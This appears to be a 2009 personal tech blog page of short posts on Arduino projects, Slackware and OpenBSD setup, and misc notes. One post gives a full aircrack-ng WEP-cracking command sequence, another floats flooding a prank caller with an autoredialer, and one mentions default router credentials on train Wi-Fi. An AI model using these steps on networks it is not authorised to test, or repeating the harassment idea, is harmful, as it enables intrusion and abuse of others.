Nov 21 2009

arduino, x10, buttons, and lcd

Category: documentation, hardware, scriptsben @ 10:50 pm

this code is one night old. more to come from it but it’s not much now:

#include <LiquidCrystal.h>
// initialize the library with the numbers of the interface pins
LiquidCrystal lcd(2, 3, 4, 5, 6, 7);
/*
brb 20091121
control 2 x10 devices (4 &2) via momentary switches on pins 10
and 12. x10 interface on pins 8 and 9 and a 16×2 lcd on 2, 3,
4, 5, 6, & 7. messages will be printed to the serial console and
to the lcd screen

hold down both buttons to shut all units off

*/
#include <x10.h>
#include <x10constants.h>

#define zcPin 8
#define dataPin 9

const int buttonPin2 = 10;
const int buttonPin = 12;     // the number of the pushbutton pin
const int ledPin =  13;      // the number of the LED pin
int buttonState = 0;
int buttonState2 = 0;         // variable for reading the pushbutton status
int buttoncount = 0;
int buttoncount2 = 0;
int resetcounterflag = 0;

// set up a new x10 instance:
x10 myHouse =  x10(zcPin, dataPin);

void setup() {
Serial.begin(9600);
// set up the LCD’s number of rows and columns:
lcd.begin(16, 2);
// Print a message to the LCD.
lcd.print(”poweredByCoffee”);
// initialize the LED pin as an output:
pinMode(ledPin, OUTPUT);
// initialize the pushbutton pin as an input:
pinMode(buttonPin, INPUT);
pinMode(buttonPin2, INPUT);
}

void loop() {
buttonState = digitalRead(buttonPin);
buttonState2 = digitalRead(buttonPin2);
// check if the pushbutton is pressed.
// if it is, the buttonState is HIGH:
if (buttonState == HIGH) {
delay(100);
if (buttonState2 == HIGH){
allUnitsOff();
}
else if (buttoncount == 0) {
digitalWrite(ledPin, LOW);
lcd.setCursor(0, 0);
// print the light status:
lcd.print(”Desk OFF  “);
Serial.println(”Desk Light off:”);
// send a “lights off” command to workbench light 1 time:
myHouse.write(A, UNIT_4, 1);
myHouse.write(A, OFF, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
}
buttoncount++;
delay(200);
if (resetcounterflag == 1){
resetcounterflag = 0;
buttoncount=0;
buttoncount2=0;
}
}
if(buttoncount == 2){
digitalWrite(ledPin, HIGH);
buttoncount=0;
lcd.setCursor(0, 0);
// print the light status:
lcd.print(”Desk ON   “);
Serial.println(”Desk Light on:”);
// send a “lights on” command to workbench light 1 time:
myHouse.write(A, UNIT_4, 1);
myHouse.write(A, ON, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
delay(200);
}
if (buttonState2 == HIGH) {
delay(100);
if (buttonState == HIGH){
allUnitsOff();
}
else if (buttoncount2 == 0) {
digitalWrite(ledPin, LOW);
lcd.setCursor(0, 0);
// print the light status:
lcd.print(”LR OFF     “);
Serial.println(”Living Room off:”);
// send a “lights off” command to workbench light 1 time:
myHouse.write(A, UNIT_2, 1);
myHouse.write(A, OFF, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
}
buttoncount2++;
delay(200);
if (resetcounterflag == 1){
resetcounterflag = 0;
buttoncount=0;
buttoncount2=0;
}
}
if(buttoncount2 == 2){
digitalWrite(ledPin, HIGH);
buttoncount2=0;
lcd.setCursor(0, 0);
// print the light status:
lcd.print(”LR ON      “);
Serial.println(”Living Room on:”);
// send a “lights on” command to workbench light 1 time:
myHouse.write(A, UNIT_2, 1);
myHouse.write(A, ON, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
delay(200);
}
//do nothing
lcd.setCursor(0, 1);
lcd.print(”  benduino x10″);
}

void allUnitsOff() {
digitalWrite(ledPin, LOW);
lcd.setCursor(0, 0);
// print the light status:
lcd.print(”ALL UNITS OFF”);
Serial.println(”All Units off:”);
// send a “lights off” command to workbench light 1 time:
myHouse.write(A, ALL_UNITS_OFF, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
resetcounterflag=1;
delay(100);
return;
}


Oct 25 2009

wep cracking with aircrack-ng

Category: documentation, hardware, quick hacks, scriptsben @ 8:58 pm

had to get a new usb adapter that was capable of inject and monitor modes. took a chance with a netgear usb wg111 at best buy, it happened to be ralink based (wg111v3). then i installed the aircrack-ng suite and began testing my network with the commands below

scan for available networks using card that can do injection
# iwlist wlan0 scan
start airmon-ng on the appropriate channel and interface
# airmon-ng start wlan0 6
do an injection test for good measure
# aireplay-ng -9 wlan0
do an injection test against target network
# aireplay-ng -9 -e {ssid here} -a {mac of ap here} wlan0
start the airodump *needs dedicated terminal or backgrounding of process
# airodump-ng -c 6 –bssid {mac of ap here} -w output wlan0
begin probe *needs dedicated terminal or backgrounding of process
# aireplay-ng -1 6 -e {essid here} -a {mac of ap here} -h {mac of associated client or own mac} wlan0
begin injection *needs dedicated terminal or backgrounding of process
# aireplay-ng -3 -b {mac of ap here} -h {mac of associated client or own mac} wlan0
begin cracking *needs dedicated terminal or backgrounding of process
# aircrack-ng -z -b {mac of ap here} output*.cap

just let those things run until it gives you the key

moral of the story: never use WEP


Oct 19 2009

found the prank site, need the pranker

Category: Uncategorizedben @ 11:08 am

http://www.hoaxcall.com/flatrate_103_a.html

my phone number was even listed as having been called in the last 21 days and would not let me recall it.

i called our office and that prank call was definitely it. the voice was the same and the interactions possible are the same.  all thats left now is finding the person who did it and pranking them my way: i.e. asterisk autoredialer for 24 hours.


Oct 18 2009

unknown numbers

Category: Uncategorizedben @ 4:40 pm

so i got a call from an unknown number today. I answered it, which is completely contradictory to my instinct. There was an attractive sounding woman who had a very familiar voice who said “Hi” and that I had to guess who it was. I asked them to please not make me do that (my hearing is bad and I don’t tie it to memory very well). I guessed once, a little bit of silence later I was informed that I was wrong. The hint was provided that “we hadn’t talked in a while,” but thats so vague it could mean any time period really. I guessed again. Wrong. “Two more guesses,” I was told. I mumbled something -definitely not a name or word- and I heard a yes. Great. “Yes?” I said. It was reiterated to me. I said how are you and it was awkward. I was obviously supposed to be more excited than I was, but mostly I was annoyed to have to play that game. Phone number was blocked so my phone book/contact list was of no help. She said bye and then hung up…conversation could have gone completely differently if I had been just told who it was. Worst part is I probably wanted to talk with them too…


Oct 18 2009

Motion Detection Arduino Code

Category: Uncategorizedben @ 1:03 pm

/*
motion detection code for parallax module from radio shack
**20091015 brb**
basic motion/infrared detection software
**20091015 brb**
add similtaneous green led blinks during motion poll

parts:

3 leds (2 green, 1 red)

1 parallax PIR sensor

on detection of any motion, binary signal on digital pin 8
changes, which causes led on digital pin 5 to light

while motion is not being detected, blink the pins leds on
digital pins 6 and 11. this pause is accomplished by
incrementing a loop timer from 100 to 200 and then reseting
it to zero every 100 intervals (currently 10 miliseconds).
every whole second the led pins alternate being on and off

i reccomend setting the motion detection to H output using
the jumpers on its board; this will make it continuously
trigger the event on constant motion

*/
int ledPin = 5;
int ledPinG1 = 6;
int ledPinG2 = 11;
int modectPin = 8;
int pinin = 0;
int counter = 100;

void setup()
{
pinMode(ledPin, OUTPUT);
pinMode(ledPinG1, OUTPUT);
pinMode(ledPinG2, OUTPUT);
pinMode(modectPin, INPUT);
}

void loop()
{
pinin = digitalRead(modectPin);
while (pinin == 0) {
digitalWrite(ledPin, LOW);
counter = counter + 1;
if(counter == 100){
digitalWrite(ledPinG2, HIGH);
digitalWrite(ledPinG1, LOW);
}
if(counter == 200){
digitalWrite(ledPinG2, LOW);
digitalWrite(ledPinG1, HIGH);
counter = 0;
}
delay(10);
pinin = digitalRead(modectPin);
}
digitalWrite(ledPinG2, LOW);
digitalWrite(ledPinG1, LOW);
digitalWrite(ledPin, HIGH);
}


Oct 09 2009

fop 0.95 on slackware64

Category: documentation, helpful linksben @ 11:13 am

# slackpkg update

# slackpkg install jdk

# cd /usr/local/src

# wget http://archive.apache.org/dist/ant/source/apache-ant-1.6.5-src.tar.gz

# tar zxvf apache-ant-1.6.5-src.tar.gz

# cd apache-ant-1.6.5

#./build.sh

# cd ..

# wget http://apache.siamwebhosting.com/xmlgraphics/fop/source/fop-0.95-src.tar.gz

# tar zxvf fop-0.95-src.tar.gz

# cd fop-0.95

# /usr/local/src/apache-ant-1.6.5/dist/bin/ant

now you have a 64 bit fop…or you can download it here:

drunkensailor.org/software/fop-0.95-slackware64.tar.gz

i have my ant available here:

drunkensailor.org/software/ant-1.6.5-slackware64.tar.gz

*both of these are just meant to be unpacked where you want to run them from and require some funky or full paths. feel free to make a real slackware package and i’ll host it, but for now it’s just compiled binaries alongside the source.

**the ant package is not the most current version of ant(1.7.something) because it required JUnit.jar which i dont have or plan on having (not part of the official slackware jdk)


Sep 22 2009

block hulu ads and google analytics

Category: Uncategorizedben @ 9:41 am

add these lines to your hosts file. just rebuilt my laptop to 64bit and want to document these things before they disappear into the abyss of knowledge i once had. used in combination with adblockplus i get almost no ads on hulu

127.0.0.1       www.google-analytics.com google-analytics.com ssl.google-analytics.com analytics.google.com googleanalytics.com
127.0.0.1       flash.quantserve.com quantserve.com ads.hulu.com lightningcast.net stats5.lightningcast.net stats6.lightningcast.net stats7.lightningcast.net
pt.reward.tv pixel.quantserve.com


Sep 08 2009

slacklite mirror version 0.2

Category: documentation, scriptsben @ 9:54 pm

currently its at 0.2 and will undergo a complete overhaul to run with the aliens slackware mirror script as its base. its very primitive right now and requires manual checking of the changlog to know if it should be run. it also assumes a few directory paths that are documented in the readme, and assumes s local slackware mirror is available (also documented but untested change in readme that would not require a local mirror - involves changing one rsync command

all that being said it does seem to work and be downloaded from here: slacklite-mirror-0.2.tar.gz


Jul 29 2009

mysql bizarre self union

Category: Uncategorizedben @ 9:31 am

i wanted to use this:

(select * from Seasons where id=5) union
(select * from Seasons where id<>5 order by id desc);

but i had to use this:

SELECT * FROM
(SELECT * FROM Seasons
WHERE id=5
ORDER BY id DESC) AS t1

UNION

SELECT * FROM
(SELECT * FROM Seasons
WHERE id<>5
ORDER BY id desc) AS t2


Jul 17 2009

klogd it

Category: documentation, inspiration & quotes, moods, quick hacksben @ 2:34 pm

step one: ln -s /dev/null /thetoilet

step two: klogd > /thetoilet  2>&1

this is how you can clog the toilet with 2s and 1s


Jul 15 2009

good fortune (no dash oh)

Category: inspiration & quotes, moodsben @ 2:58 pm

a server told me this joke today:
He:     Do you like Kipling?
She:    Oh, you naughty boy, I don’t know!  I’ve never kippled!


Jul 14 2009

djb quotes

Category: helpful links, inspiration & quotes, moods, rantsben @ 11:19 pm

somehow made my way here after fighting with his three versions of documentation for the same AMAZING product

incredibly amusing: http://en.wikiquote.org/wiki/Daniel_J._Bernstein

incredibly surprising: http://blogs.zdnet.com/security/?p=2812


Jul 14 2009

remove files and folders by date

Category: documentation, quick hacks, scriptsben @ 8:00 pm

this is designed to delete files by date from the current directory….it was googles fault for providing “source” in a .deb with relative paths without being clear. plus it was my fault for not doing a test extract prior to doing a real one….pretty irrelevant but was needed to tidy up my /usr/local/src

by design will remove files dated 2008-11-07 from slackware’s ls -al …probably would be wise to trial run it by changing the xargs to an echo first ;-)

#ls -altrh |grep ‘2008-11-07′ |awk {’print $8′} |xargs rm -rfv


Jul 02 2009

qmail with ezmlm on openbsd

Category: documentation, helpful linksben @ 9:08 am

i wouldn’t suggest that anyone mimick mymethod here because i’m putting all of this into an openbsd virtual machine already configured with postfix, dovecot and a handful of other software (check out allardsoft for more info) but i’ll be putting up more info as i’m repeating my process and finding missing info

comp45.tgz –> compilation base set –> ftp://ftp.openbsd.org/pub/OpenBSD/4.5/i386/comp45.tgz

cd /
tar zxpf /path/to/file/comp45.tgz

daemontools daemontools-0.76.tar.gz daemontools home
ucspi-tcp ucspi-tcp-0.88.tar.gz ucspi-tcp home
qmail qmail-1.03.tar.gz qmail home


Jul 02 2009

openbsd basic info to remember

Category: documentationben @ 9:00 am

this will be expanded as my knowledge grows but for now i just need to be able to find this info again.

a package is a piece of software

a set is a series of software packages that speak together

to install a set after the initial install, simplly untar the *.tgz from the root directory while preserving permissions

# cd root

# tar zxvpf /path/to/set.tgz


Jun 28 2009

slacklite 12.34567890

Category: Uncategorizedben @ 5:15 pm

i got this idea to mirror the slack tree and make a dvd iso with the files i never install anyways pre-removed from the installer. The actual dvd iso is 1.3 GB smaller than the offical tree’s iso and the install appears to be about 1.7 GB smaller than a full install (haven’t done a full one in a long time as a comparison).

things removed from slacklite:

  1. package series e/ –> emacs and libraries
  2. package series kdei/ –> international kde libraries
  3. package series t/ –> tetex typesetting
  4. package series tcl/ –> tcl/tk scripting language
  5. package series y/ –> bsd games

other than that i trimmed the software libs of the x environment to only have kde (4.2) and blackbox Xwindows systems and removed duplicate software functions (i.e. i opted for firefox only instead of firefox and seamonkey).

the important thing to remember about slacklite is that slacklite IS slackware, just with fewer options. the installers are unchanged minus the package series listing, and everything else is from the official slackware tree.

both slacklite and a slackware-current mirror can be found on the site: http://drunkensailor.org/slackware/

slacklite is still in early development and is not currently mirroring the tree fully but will be receiving weekly updates. please submit bug reports or issues to captaincrunch@drunkensailor.org

the slacklite-current-dvd.iso is at release 12.34567890-3alpha


Jun 28 2009

ssh authorized keys

Category: Uncategorizedben @ 4:54 pm

it’s shockingly simple

# ssh-keygen -t dsa

# scp .ssh/id_dsa.pub user@serverIP:.ssh/authorized_keys2


Jun 20 2009

wifi on amtrak

Category: Uncategorizedben @ 12:41 am

i haven’t been able to get too much info, but i can definitely tell you that the wireless devices aboard the downeaster maine to beantown are cradlepoint hardware

facts i’ve proven about them:
192.168.0.1
192.168.0.2 –>both of these ips are considered default by this page: http://www.marinetelecom.net/Cradlepoint-MBR1000.htm (which also suggests the last six of the mac address in lower case as login password)
also the internal router page had something about a local chat that i couldn’t figure out with my jlime jornada 690 (was 680e that has been chip-upgraded)
routing doesnt appear consistent: what is my ip said 173.114.72.107 but an nmap scan said nothing open and a traceroute -n showed my first hop beyond the 0.1 being 68.28.121.85 which seemed strange to me. i dont claim to un derstand high level routing so i suppose its possible but just stuck out as strange

guesses:
everything i’ve seen points to EVDO technology
potentially changed default passwds
ESSIDs follow pattern of “Downeaster 3″ and “Downeaster 12″ (only ones i saw)…3 was running on channel 9


Jun 11 2009

phpMyProxy - Simple, Straightforward and works

Category: documentation, helpful links, quick hacks, scriptsadmin @ 1:15 pm

When a routing issue in our datacenter arose today, as a temporary solution i whipped out a proxy install that was so basic i couldn’t mess it up (and i definitely was doing “unsupported” tweaks to the files). To embelish on the routing issue a little more: a local isp moved some equippment into the datacenter, now on the same level in the same pool as our servers, their clients could not reach our servers when entering the routes from very specific directions. a temp solution is now in place and they aren’t sure when the permanent solution will work…don’t blame me….nothing changed on my end.

http://www.drunkensailor.org/proxy/

www.phpmyproxy.com - i did have to register for the initial link, but since it’s open source here’s a link to my version’s tarball…(so much lighter!!!)


Jun 10 2009

naked and famous

Category: Uncategorizedadmin @ 4:26 pm

I cant explain glacial motion
Or why los angeles dont drop into the ocean
I cant unfold the layers of mystery
Or piece together the tragedy of history
cuz those lucky suckers they dont have to work
Big 3 d billboards and big 30 foot smurfs
And everybody wants to be naked and famous
Everybody wanna be just like me Im naked and famous

I met a poet said she didnt like the smell of it
Then took her clothes off in a restaurant for the hell of it
I met a dj who lived in seclusion reality and sobriety were her only delusions

And those lucky bastards they dont have to work
Big 3 d billboards and big 30 foot smurfs
And everybody wants to be naked and famous
Everybody wanna be just like me Im naked and famous

Woo uh hoo hoo hoo
Wow ah hoo hoo hoo

Well dont get a nosebleed dont get upset
We cant be naked and famous just yet
Theres a big gold dollar sign on the sunset strip
And you can send your friend a postcard it aint worth the trip

Everybody wants to be naked and famous


Next Page »